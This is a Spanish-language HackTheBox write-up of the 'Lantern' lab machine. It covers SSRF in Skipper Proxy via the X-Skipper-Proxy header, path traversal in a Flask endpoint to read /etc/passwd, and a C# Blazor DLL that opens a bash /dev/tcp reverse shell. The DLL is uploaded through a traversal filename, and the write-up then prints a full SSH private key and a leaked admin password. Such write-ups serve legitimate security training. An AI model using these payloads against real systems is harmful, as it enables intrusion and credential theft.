write up Lantern HTB

“Lantern” es una máquina de dificultad difícil en la plataforma HackTheBox. Esta máquina nos enseña a explotar una vulnerabilidad de tipo Server-Side Request Forgery (SSRF) en un proxy Skipper cuya versión es susceptible a la CVE-2022-38580. Además, nos permite descubrir credenciales al acceder a archivos expuestos de un servicio Blazor interno. Finalmente, aprendemos a utilizar ProcMon, una herramienta de monitoreo, para capturar credenciales que son ejecutadas por un script, credenciales que pertenecen al usuario root.

lo primero como siempre el escaneo de nmap

nmap -p- --open --min-rate 5000 -sT -vvv -n -Pn 10.10.11.29 -oG allports

nmap -sVC -p22,80,3000 10.10.11.29 -oN ports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-01 16:58 CET
Stats: 0:01:13 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:01 (0:02:00 remaining)
Stats: 0:01:19 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:01 (0:02:10 remaining)
Stats: 0:01:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 33.33% done; ETC: 17:02 (0:02:40 remaining)
Nmap scan report for 10.10.11.29
Host is up (0.047s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 80:c9:47:d5:89:f8:50:83:02:5e:fe:53:30:ac:2d:0e (ECDSA)
|_  256 d4:22:cf:fe:b1:00:cb:eb:6d:dc:b2:b4:64:6b:9d:89 (ED25519)
80/tcp   open  http    Skipper Proxy
|_http-title: Did not follow redirect to http://lantern.htb/
|_http-server-header: Skipper Proxy
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 404 Not Found
|     Content-Length: 207
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 01 Dec 2024 15:58:49 GMT
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>404 Not Found</title>
|     <h1>Not Found</h1>
|     <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
|   GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 302 Found
|     Content-Length: 225
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 01 Dec 2024 15:58:43 GMT
|     Location: http://lantern.htb/
|     Server: Skipper Proxy
|     <!doctype html>
|     <html lang=en>
|     <title>Redirecting...</title>
|     <h1>Redirecting...</h1>
|     <p>You should be redirected automatically to the target URL: <a href="http://lantern.htb/">http://lantern.htb/</a>. If not, click the link.
|   HTTPOptions: 
|     HTTP/1.0 200 OK
|     Allow: GET, OPTIONS, HEAD
|     Content-Length: 0
|     Content-Type: text/html; charset=utf-8
|     Date: Sun, 01 Dec 2024 15:58:44 GMT
|_    Server: Skipper Proxy
3000/tcp open  ppp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 500 Internal Server Error
|     Connection: close
|     Content-Type: text/plain; charset=utf-8
|     Date: Sun, 01 Dec 2024 15:58:48 GMT
|     Server: Kestrel
|     System.UriFormatException: Invalid URI: The hostname could not be parsed.
|     System.Uri.CreateThis(String uri, Boolean dontEscape, UriKind uriKind, UriCreationOptions& creationOptions)
|     System.Uri..ctor(String uriString, UriKind uriKind)
|     Microsoft.AspNetCore.Components.NavigationManager.set_BaseUri(String value)
|     Microsoft.AspNetCore.Components.NavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Components.Server.Circuits.RemoteNavigationManager.Initialize(String baseUri, String uri)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticComponentRenderer.<InitializeStandardComponentServicesAsync>g__InitializeCore|5_0(HttpContext httpContext)
|     Microsoft.AspNetCore.Mvc.ViewFeatures.StaticC
|   HTTPOptions: 
|     HTTP/1.1 200 OK
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 01 Dec 2024 15:58:53 GMT
|     Server: Kestrel
|   Help: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 01 Dec 2024 15:58:48 GMT
|     Server: Kestrel
|   RTSPRequest: 
|     HTTP/1.1 505 HTTP Version Not Supported
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 01 Dec 2024 15:58:54 GMT
|     Server: Kestrel
|   SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 01 Dec 2024 15:59:09 GMT
|     Server: Kestrel
|   TerminalServerCookie: 
|     HTTP/1.1 400 Bad Request
|     Content-Length: 0
|     Connection: close
|     Date: Sun, 01 Dec 2024 15:59:10 GMT
|_    Server: Kestrel
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port80-TCP:V=7.94SVN%I=7%D=12/1%Time=674C87B3%P=x86_64-pc-linux-gnu%r(G
SF:etRequest,18F,"HTTP/1\.0\x20302\x20Found\r\nContent-Length:\x20225\r\nC
SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,\x2001\x20D
SF:ec\x202024\x2015:58:43\x20GMT\r\nLocation:\x20http://lantern\.htb/\r\nS
SF:erver:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>
SF:\n<title>Redirecting\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\
SF:x20should\x20be\x20redirected\x20automatically\x20to\x20the\x20target\x
SF:20URL:\x20<a\x20href=\"http://lantern\.htb/\">http://lantern\.htb/</a>\
SF:.\x20If\x20not,\x20click\x20the\x20link\.\n")%r(HTTPOptions,A5,"HTTP/1\
SF:.0\x20200\x20OK\r\nAllow:\x20GET,\x20OPTIONS,\x20HEAD\r\nContent-Length
SF::\x200\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nDate:\x20Sun,
SF:\x2001\x20Dec\x202024\x2015:58:44\x20GMT\r\nServer:\x20Skipper\x20Proxy
SF:\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(FourOhFourRequest,162,"HTTP/1\.0\x20404\x20
SF:Not\x20Found\r\nContent-Length:\x20207\r\nContent-Type:\x20text/html;\x
SF:20charset=utf-8\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:58:49\x20GM
SF:T\r\nServer:\x20Skipper\x20Proxy\r\n\r\n<!doctype\x20html>\n<html\x20la
SF:ng=en>\n<title>404\x20Not\x20Found</title>\n<h1>Not\x20Found</h1>\n<p>T
SF:he\x20requested\x20URL\x20was\x20not\x20found\x20on\x20the\x20server\.\
SF:x20If\x20you\x20entered\x20the\x20URL\x20manually\x20please\x20check\x2
SF:0your\x20spelling\x20and\x20try\x20again\.</p>\n")%r(GenericLines,67,"H
SF:TTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20ch
SF:arset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(He
SF:lp,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plai
SF:n;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Reques
SF:t")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/1\.1\x20400\x20Bad
SF:\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnect
SF:ion:\x20close\r\n\r\n400\x20Bad\x20Request");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port3000-TCP:V=7.94SVN%I=7%D=12/1%Time=674C87B8%P=x86_64-pc-linux-gnu%r
SF:(GetRequest,114E,"HTTP/1\.1\x20500\x20Internal\x20Server\x20Error\r\nCo
SF:nnection:\x20close\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\n
SF:Date:\x20Sun,\x2001\x20Dec\x202024\x2015:58:48\x20GMT\r\nServer:\x20Kes
SF:trel\r\n\r\nSystem\.UriFormatException:\x20Invalid\x20URI:\x20The\x20ho
SF:stname\x20could\x20not\x20be\x20parsed\.\n\x20\x20\x20at\x20System\.Uri
SF:\.CreateThis\(String\x20uri,\x20Boolean\x20dontEscape,\x20UriKind\x20ur
SF:iKind,\x20UriCreationOptions&\x20creationOptions\)\n\x20\x20\x20at\x20S
SF:ystem\.Uri\.\.ctor\(String\x20uriString,\x20UriKind\x20uriKind\)\n\x20\
SF:x20\x20at\x20Microsoft\.AspNetCore\.Components\.NavigationManager\.set_
SF:BaseUri\(String\x20value\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Co
SF:mponents\.NavigationManager\.Initialize\(String\x20baseUri,\x20String\x
SF:20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Components\.Server\.C
SF:ircuits\.RemoteNavigationManager\.Initialize\(String\x20baseUri,\x20Str
SF:ing\x20uri\)\n\x20\x20\x20at\x20Microsoft\.AspNetCore\.Mvc\.ViewFeature
SF:s\.StaticComponentRenderer\.<InitializeStandardComponentServicesAsync>g
SF:__InitializeCore\|5_0\(HttpContext\x20httpContext\)\n\x20\x20\x20at\x20
SF:Microsoft\.AspNetCore\.Mvc\.ViewFeatures\.StaticC")%r(Help,78,"HTTP/1\.
SF:1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20cl
SF:ose\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:58:48\x20GMT\r\nServer:
SF:\x20Kestrel\r\n\r\n")%r(HTTPOptions,6F,"HTTP/1\.1\x20200\x20OK\r\nConte
SF:nt-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x
SF:202024\x2015:58:53\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(RTSPRequest
SF:,87,"HTTP/1\.1\x20505\x20HTTP\x20Version\x20Not\x20Supported\r\nContent
SF:-Length:\x200\r\nConnection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x20
SF:2024\x2015:58:54\x20GMT\r\nServer:\x20Kestrel\r\n\r\n")%r(SSLSessionReq
SF:,78,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConn
SF:ection:\x20close\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:59:09\x20G
SF:MT\r\nServer:\x20Kestrel\r\n\r\n")%r(TerminalServerCookie,78,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nContent-Length:\x200\r\nConnection:\x20clo
SF:se\r\nDate:\x20Sun,\x2001\x20Dec\x202024\x2015:59:10\x20GMT\r\nServer:\
SF:x20Kestrel\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 109.02 seconds

    /home/z/l/nmap  ✔  took  1m 49s  with   

vemos un dominio lantern.htb por lo que lo añadimos a el /etc/hosts

tambien vemos que en el puerto 3000 hay tambien un servicio http corriendo por lo que vamos a ver con whatweb que hay por hay:

whatweb 10.10.11.29

no me da ningun dominio lo que es interesante

pero bueno al caso. vamos a ir a http://lantern.htb

trasteando un poco con la web no veo mucho mas que algunos correos y demas

por lo que voy a usar gobuster a ver si me encuntra algo mas interesante:

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://lantern.htb -t 30 -x php

no vemos practicamente nada

por lo que vamos a la pagina del puerto 3000

vemos un panel de login pero no podemos hacer nada con el

por lo que a seguir buscando

si hacemos un whatweb vemos lo siguiente

vemos Skipper proxy. si buscamos CVEs de este encontramos uno interesante

https://nvd.nist.gov/vuln/detail/CVE-2022-38580

y que tiene respaldo en exploid db

https://www.exploit-db.com/exploits/51111

Esta es una vulnerabilidad Server-Side Request Forgery (SSRF) y basicamente consiste en esto

abrimos burpsuite y capturamos la peticion de nada mas entrar a la pagina web normal del puerto 80:

![](https://404zzero.github.io/zzero.github.io//assets/images/Lantern/Pasted-image-20241204191115.png

para hacer la prueva de si el vulnerable tenemos que havilitar un servidor python

python3 -m http.server 8000

y añadimos el siguiente header

X-Skipper-Proxy: http://10.10.16.2:8000

cuando le damos a send en el repiter no vemos nada

pero en el server python

a avido una conexion por lo que es vulnerable

si hacemos los mismo pero refernciando a la propia maquina por el puerto 3000 da un 200ok

vemos que funciona con blazor

lo cual es interesante que podamos ver de esta forma la info. por lo que vamos a intentar ver si tiene mas puertos abiertos

aqui hay dos maneras o uno a uno manual mente o usar ffuf

ffuf -u http://lantern.htb -H "X-Skipper-Proxy: http://127.0.0.1:FUZZ" -w <(seq 1 65535) --mc 200

perdonar que salga asi pero no se que le pasa a mi ffuf pero al caso salen 2 puertos nuevo el 5000 y el 8000

si hacemos referencia a el 5000 vemos los siguiente

al final del todo hace referncia un script javascript

al cual si intentamos acceder de forma normal/externa

wget http://lantern.htb/_framework/blazor.webassembly.js

no nos deja pero sin embargo si lo hacemos de esta manera

wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/blazor.webassembly.js 

si que emos podido

usando https://beautifier.io/ lo dejamos leguible y es larguisimo por lo que solo voy a poner la parte importante

    class Ue {
        constructor(e, t) {
            this.bootConfig = e, this.applicationEnvironment = t
        }
        static async initAsync(e, t) {
            const n = void 0 !== e ? e("manifest", "blazor.boot.json", "_framework/blazor.boot.json", "") : a("_framework/blazor.boot.json"),
                r = n instanceof Promise ? await n : await a(null != n ? n : "_framework/blazor.boot.json"),
                o = t || r.headers.get("Blazor-Environment") || "Production",
                s = await r.json();
            return s.modifiableAssemblies = r.headers.get("DOTNET-MODIFIABLE-ASSEMBLIES"), s.aspnetCoreBrowserTools = r.headers.get("ASPNETCORE-BROWSER-TOOLS"), new Ue(s, o);
            async function a(e) {
                return fetch(e, {
                    method: "GET",
                    credentials: "include",
                    cache: "no-cache"
                })
            }
        }

vemos que hace referencia a otro archivo _framework/blazor.boot.json

con curl podemos verlo

curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000"

añadir que salen un monton de archivos .dll y informacion que molesta por lo que voy a filtrar con grep por .dll

curl -s http://lantern.htb/_framework/blazor.boot.json -H "X-Skipper-Proxy: http://127.0.0.1:5000" | grep .dll

justamente el ultimo se sale de lo normal

vamos a intentar descargarlo con wget

wget --header "X-Skipper-Proxy: http://127.0.0.1:5000" http://lantern.htb/_framework/InternaLantern.dll

https://github.com/icsharpcode/AvaloniaILSpy/releases/tag/v7.2-rc

al abrirlo encontraremos algunos base 64 que al descifrarlos dan como resultado lo siguiente

for encoded in $(cat encoded_dll_info.txt); do echo $encoded | base64 -d; echo; done

Head of sales department, emergency contact: +4412345678, email: john.s@example.com
HR, emergency contact: +4412345678, email: anny.t@example.com
FullStack developer, emergency contact: +4412345678, email: catherine.r@example.com
PR, emergency contact: +4412345678, email: lara.s@example.com
Junior .NET developer, emergency contact: +4412345678, email: lila.s@example.com
System administrator, First day: 21/1/2024, Initial credentials admin:AJbFA_Q@925p9ap#22. Ask to change after first login!

vemos credenciales

que si probamos en el puerto 3000

tenemos acceso

en el apartado de files vemos un codigo .py :

from flask import Flask, render_template, send_file, request, redirect, json
from werkzeug.utils import secure_filename
import os

app=Flask("__name__")

@app.route('/')
def index():
    if request.headers['Host'] != "lantern.htb":
        return redirect("http://lantern.htb/", code=302)
    return render_template("index.html")

@app.route('/vacancies')
def vacancies():
    return render_template('vacancies.html')

@app.route('/submit', methods=['POST'])
def save_vacancy():
    name = request.form.get('name')
    email = request.form.get('email')
    vacancy = request.form.get('vacancy', default='Middle Frontend Developer')

    if 'resume' in request.files:
        try:
            file = request.files['resume']
            resume_name = file.filename
            if resume_name.endswith('.pdf') or resume_name == '':
                filename = secure_filename(f"resume-{name}-{vacancy}-latern.pdf")
                upload_folder = os.path.join(os.getcwd(), 'uploads')
                destination = '/'.join([upload_folder, filename])
                file.save(destination)
            else:
                return "Only PDF files allowed!"
        except:
            return "Something went wrong!"
    return "Thank you! We will conact you very soon!"

@app.route('/PrivacyAndPolicy')
def sendPolicyAgreement():
    lang = request.args.get('lang')
    file_ext = request.args.get('ext')
    try:
            return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 
    except: 
            return send_file(f'/var/www/sites/localisation/default/policy.pdf', 'application/pdf')

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8000)

basicamente esto esta corriendo flask por el otro puerto que encontramos, el 8000

tambien vemos que en

return send_file(f'/var/www/sites/localisation/{lang}.{file_ext}') 

no se esta aplicando ninguna sanatizacion por lo que podria intentar un Directory Traversal

para probar vamos a intentar ver el etc/passwd:

curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../../&ext=./etc/passwd'

vemos entre todo eso un usuario tomas

pero si intentamos ir a por el id_rsa:

curl -s 'http://lantern.htb/PrivacyAndPolicy?lang=../../../../../../../../../../&ext=./.ssh/id_rsa'

no vemos nada

por lo que no nos sirve de mucho

de vuelta a lapagina del puerto 3000 vemos cosas curiosas

vemos que solo busca archivos .dll

y que podemos subir archivos por lo que se me ocurre crear un archivo .dll malicioso

Ahora, crearemos un archivo C# malicioso (ya que Blazor, el servicio corriendo el servidor web, usa C#). Primero, creamos un proyecto usando dotnet:

dotnet new classlib -n revshell

Luego, instalamos los paquetes necesarios:

dotnet add package Microsoft.AspNetCore.Components --version 

Entramos en el directorio llamado revshell y editamos el archivo Class1.cs con el contenido:

using System;
using System.Diagnostics;
using Microsoft.AspNetCore.Components;
using Microsoft.AspNetCore.Components.Rendering;

namespace revshell{
  public class Component : ComponentBase{
    protected override void BuildRenderTree(RenderTreeBuilder __builder){
      Process proc = new System.Diagnostics.Process();
      proc.StartInfo.FileName = "/bin/bash";
      proc.StartInfo.Arguments = "-c \"bash -i >& /dev/tcp/10.10.16.72/443 0>&1\"";
      proc.StartInfo.UseShellExecute = false;
      proc.StartInfo.RedirectStandardOutput = true;
      proc.Start();

      while (!proc.StandardOutput.EndOfStream){
        Console.WriteLine(proc.StandardOutput.ReadLine());
      }
    }
  }
}

Finalmente, creamos el archivo .dll:

dotnet build -c release
POST /_blazor?id=tVCAQun74z6Qp99JNsu8rg HTTP/1.1
Host: lantern.htb:3000
Content-Length: 172
Cache-Control: max-age=0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
X-SignalR-User-Agent: Microsoft SignalR/0.0 (0.0.0-DEV_BUILD; Unknown OS; Browser; Unknown Runtime Version)
Content-Type: text/plain;charset=UTF-8
Accept: */*
Origin: http://lantern.htb:3000
Referer: http://lantern.htb:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

ª•€À·BeginInvokeDotNetFromJS•¡4À¬NotifyChangeÙz`{"id":3,"lastModified":"2024-10-30T00:23:16.470Z","name":"UAC_1.png","size":59370,"contentType":"image/png","blob":{}}`

Pero algunos caracteres de la petición no son legibles. Tratamos entonces de subir el archivo .dll y revisar en el historial la petición por POST donde éste ha sido subido. Recomiendo pasar esta petición al Repeater de Burpsuite ya que necesitaremos esta petición que sube un archivo más tarde. Ahora es donde entra en juego el plugin de Blazor para Burpsuite. Realizamos click derecho sobre la petición del historial, vamos a Extensions y enviamos el body a BTP (que es como se llama el plugin):

Si el plugin está instalado y activo, en la parte superior derecha deberíamos de tener una pestaña llamada BTP. El body que hemos enviado anteriormente debería de estar allí. Seleccionamos la opción Blazor->JSON y clickeamos en Deserialize:

Podemos entonces modificar el objeto JSON en el panel de la parte derecha. En este caso, ponemos como nombre ../../../../../../../opt/components/revshell.dll para intentar subir un archivo a esta ruta. De manera que el JSON con el payload es:

[{
   "Target": "BeginInvokeDotNetFromJS",
   "Headers": 0,
   "Arguments": [
      "3",
      "null",
      "NotifyChange",
      2,
      `{
         "blob": {},
         "size": 5120,
         "name": "../../../../../../../../opt/components/revshell.dll",
         "id": 2,
         "lastModified": "2024-11-14T05:54:19.455Z",
         "contentType": "application/x-msdownload"
      }`
   ],
   "MessageType": 1
}]

Copiamos su contenido y clickeamos en Clear. Luego, cambiamos el método a JSON->Blazor y clickeamos en Serialize:

La parte importante es el payload serializado en el panel derecho. Lo copiamos. Podemos entonces ir a la petición que habíamos enviado al Repeater y pasar el payload serializado manipulado en lugar de subir la imagen (es decir, la petición modificada para subir el archivo .dll). No olvidar empezar un listener con netcat.

Si esto ha funcionado el archivo debería de haber sido subido. Es por ello que en el portal corriendo Blazor buscamos por el módulo revshell:

y en nuestro listener con netcat obtenemos algo:

nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.29] 56360
bash: cannot set terminal process group (6714): Inappropriate ioctl for device
bash: no job control in this shell
tomas@lantern:~/LanternAdmin$ whoami

whoami
tomas
tomas@lantern:~/LanternAdmin$

Este usuario también tiene una key id_rsa para SSH:

tomas@lantern:~/LanternAdmin$ cat ~/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

La guardamos en nuestra máquina de atacante, le damos permisos de ejecución y la usamos para conectarnos a través de SSH como el usuario thomas:

 chmod 600 tomas_id_rsa # save the key

ssh -i tomas_id_rsa tomas@10.10.11.29


You have mail.
Last login: Thu Aug 15 13:00:50 2024 from 10.10.14.46

tomas@lantern:~$

root

una vez dentro si nos ponemos a mirar veremos que en el directorio /var/mail hay una nota

esta nos dice que hay un script en root

el problema es que como el usuario tomas no tenemos acceso:

ya que estamos vamos a ver que podemos hacer con sudo -l

esto es una herramienta de monitoreo para windows que no sabia que tenia version para linux la verdad

vale pues vamos a ver por donde se esta ejecutando el archivo de root y su PID y lo monitorizamos

ps aux | grep "\.sh"| grep root 

para monitorearlo vamos a usar el siguiente comando:

sudo /usr/bin/procmon -p 7272 -e write

(NOTA: NO USES KITTY PARA ESTO PORQUE POR LO QUE SEA SUELTA UN ERROR PERO POR EJEMPLO CON GNOME TERMINAL SI QUE FUNCIONA)

lo dejamos un ato funcionando

una vez echo F6 y F9 y se nos genera un archivo .db

Pasamos este archivo a nuestra máquina de atacante (usando scp, por ejemplo) y usamos SQLite para analizarla:

sqlite> .tables

ebpf      metadata  stats

Hay una columna llamada ebpf. Buscando qué es lo que es esto tenemos, encontramos:

Información

Extended Berkeley Packet Filter (eBPF) is a Linux kernel technology enabling engineers to build programs that run securely in kernel space. eBPF can be used to inspect, filter, and monitor network traffic.

Es decir, estos son los datos que pueden ser usados para monitorear tráfico.

Leyendo el contenido de esta tabla retorna:

sqlite> PRAGMA table_info(ebpf);

0|pid|INT|0||0
1|stacktrace|TEXT|0||0
2|comm|TEXT|0||0
3|processname|TEXT|0||0
4|resultcode|INTEGER|0||0
5|timestamp|INTEGER|0||0
6|syscall|TEXT|0||0
7|duration|INTEGER|0||0
8|arguments|BLOB|0||0

sqlite> select * from ebpf;

7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|6|25511746524120|write|16581|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|34715|
7272|139876170950791$/usr/lib/x86_64-linux-gnu/libc.so.6!__write|nano|nano|0|25511746524120|write|73939|

La cosa yace en que la tabla tiene 9 columnas (de la 0 a la 8), pero sólo somos capaces de ver 9 columnas.

Podríamos tratar de escribir toda la data que existe (los cuales podrían ser blobs) en un archivo. Para ello ejecutamos:

sqlite> .output result.txt

sqlite> SELECT hex(substr(arguments, 9, resultcode)) FROM ebpf WHERE resultcode > 0 ORDER BY timestamp;

Program interrupted.

Donde hemos presionado Ctrl+C para salir de SQLite y escribir los datos en un archivo llamado result.txt. Este archivo tiene bastantes líneas y datos que son, aparentemente, ilegibles:

❯ wc -l result.txt

2651 result.txt

❯ head result.txt

1B5B3F32356C
1B5B3F323568
08
2051
20
1B5B3F32356C
1B5B3F323568
33
33
1B5B3F32356C

Esta última columna contiene datos en hexadecimal (algo bugeados, eso sí). Por lo que podemos tratar de visualizarlos utilizando nuestra terminal:

❯ cat result.txt | xxd -r -p | less -S

